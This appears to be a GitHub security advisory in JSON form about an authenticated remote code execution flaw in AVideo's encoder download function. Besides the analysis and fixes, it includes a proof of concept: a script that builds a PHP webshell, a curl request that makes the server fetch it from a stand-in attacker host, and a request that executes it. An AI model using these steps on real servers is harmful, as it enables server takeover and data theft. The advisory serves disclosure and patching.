{"id":"GHSA-8wf4-c4x3-h952","summary":"AVideo: Remote Code Execution via PHP Temp File in Encoder downloadURL","details":"## Summary\n\nThe `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL's filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`.\n\n## Details\n\nThe vulnerability is a race-free file upload leading to RCE, exploiting a logic flaw in the error handling order of operations.\n\n**Step 1 — File download preserves dangerous extension:**\n\nIn `objects/aVideoEncoder.json.php`, when a `downloadURL` parameter is provided, the file is downloaded and saved with the URL's original basename:\n\n```php\n// objects/aVideoEncoder.json.php:361-365\n$_FILES['video']['name'] = basename($downloadURL);  // preserves .php extension\n$temp = Video::getStoragePath() . \"cache/tmpFile/\" . $_FILES['video']['name'];\nmake_path($temp);\n$bytesSaved = file_put_contents($temp, $file);\n```\n\nThe `format` parameter (validated against `$global['allowedExtension']` at line 42) is only used later for the *final* destination filename (line 238), not for the temp file. The temp file uses `basename($downloadURL)` directly, allowing any extension including `.php`.\n\n**Step 2 — Resolution validation aborts after file write:**\n\nAfter the file is downloaded and written to disk (line 156), the resolution is validated:\n\n```php\n// objects/aVideoEncoder.json.php:229-233\nif (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) {\n    $msg = \"This resolution is not possible {$_REQUEST['resolution']}\";\n    _error_log($msg);\n    forbiddenPage($msg);  // calls die() — execution stops here\n}\n```\n\nThe `forbiddenPage()` function (in `objects/functionsSecurity.php:567-573`) detects the JSON content type set at line 26 and calls `die()`:\n\n```php\nif (empty($unlockPassword) && isContentTypeJson()) {\n    // ...\n    die(json_encode($obj));  // line 573 — execution terminates\n}\n```\n\n**Step 3 — Cleanup never reached:**\n\nThe `decideMoveUploadedToVideos()` call at line 243, which would move the temp file to its final destination with the safe `format` extension, is never reached because `forbiddenPage()` terminates execution first.\n\n**Step 4 — No execution restrictions on temp directory:**\n\nThe `videos/cache/tmpFile/` directory has no `.htaccess` file restricting PHP execution. The root `.htaccess` `FilesMatch` on line 73 blocks extensions matching `php[a-z0-9]+` (e.g., `.php5`, `.phtml`) but does **not** match plain `.php`.\n\n## PoC\n\n**Prerequisites:** An authenticated user account with `canUpload` permission. An attacker-controlled server hosting a PHP payload file at least 20KB in size.\n\n**Step 1 — Prepare the PHP payload (on attacker server):**\n\n```bash\n# Create a PHP webshell padded to \u003e=20KB to pass the minimum size check\npython3 -c \"\npayload = b'\u003c?php echo \\\"RCE:\\\".php_uname(); ?\u003e'\npadding = b'\\n' + b'/' * (20001 - len(payload))\nopen('shell.php', 'wb').write(payload + padding)\n\"\n# Host it on an attacker-controlled server (e.g., https://attacker.example.com/shell.php)\n```\n\n**Step 2 — Trigger the download with invalid resolution:**\n\n```bash\ncurl -X POST 'https://target.example.com/objects/aVideoEncoder.json.php' \\\n  -d 'user=uploader_username' \\\n  -d 'pass=uploader_password' \\\n  -d 'format=mp4' \\\n  -d 'downloadURL=https://attacker.example.com/shell.php' \\\n  -d 'resolution=9999'\n```\n\nExpected response: `{\"error\":true,\"msg\":\"This resolution is not possible 9999\",\"forbiddenPage\":true}`\n\n**Step 3 — Access the persisted PHP file:**\n\n```bash\ncurl 'https://target.example.com/videos/cache/tmpFile/shell.php'\n```\n\nExpected output: `RCE:Linux target 5.15.0-...` — confirming arbitrary PHP code execution on the server.\n\n## Impact\n\nAn authenticated user with standard upload permissions can achieve **Remote Code Execution** on the server. This allows:\n\n- Full server compromise — read/write arbitrary files, execute system commands\n- Access to database credentials and all stored user data\n- Lateral movement to other services on the same network\n- Modification or destruction of all video content and platform configuration\n- Use of the server as a pivot point for further attacks\n\nThe attack requires only a single HTTP request (plus hosting a payload file) and leaves no trace in the application's normal upload/video processing logs beyond the download attempt.\n\n## Recommended Fix\n\n**Fix 1 (Primary) — Validate file extension in `downloadVideoFromDownloadURL()`:**\n\n```php\n// objects/aVideoEncoder.json.php — in downloadVideoFromDownloadURL(), after line 360\nfunction downloadVideoFromDownloadURL($downloadURL)\n{\n    global $global, $obj;\n    $downloadURL = trim($downloadURL);\n\n    // ... existing SSRF check ...\n\n    // NEW: Validate the file extension against allowed extensions\n    $urlExtension = strtolower(pathinfo(parse_url($downloadURL, PHP_URL_PATH), PATHINFO_EXTENSION));\n    if (!in_array($urlExtension, $global['allowedExtension'])) {\n        __errlog(\"aVideoEncoder.json:downloadVideoFromDownloadURL blocked dangerous extension: \" . $urlExtension);\n        return false;\n    }\n\n    // ... rest of function ...\n}\n```\n\n**Fix 2 (Defense in depth) — Move resolution validation before file download:**\n\n```php\n// objects/aVideoEncoder.json.php — move lines 227-236 to BEFORE line 154\n// Validate resolution BEFORE downloading anything\nif (!empty($_REQUEST['resolution'])) {\n    if (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) {\n        $msg = \"This resolution is not possible {$_REQUEST['resolution']}\";\n        _error_log($msg);\n        forbiddenPage($msg);\n    }\n}\n// Then proceed with download...\n```\n\n**Fix 3 (Defense in depth) — Add `.htaccess` to temp directory:**\n\nCreate `videos/cache/tmpFile/.htaccess`:\n```apache\n# Deny execution of all scripts in temp directory\n\u003cFilesMatch \"\\.(?i:php|phtml|phar|php[0-9]|shtml)$\"\u003e\n    Require all denied\n\u003c/FilesMatch\u003e\nphp_flag engine off\n```","aliases":["CVE-2026-33717"],"modified":"2026-03-25T21:41:21.403683Z","published":"2026-03-25T21:28:38Z","database_specific":{"cwe_ids":["CWE-434"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-25T21:28:38Z","nvd_published_at":"2026-03-23T19:16:42Z"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33717"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-8wf4-c4x3-h952/GHSA-8wf4-c4x3-h952.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}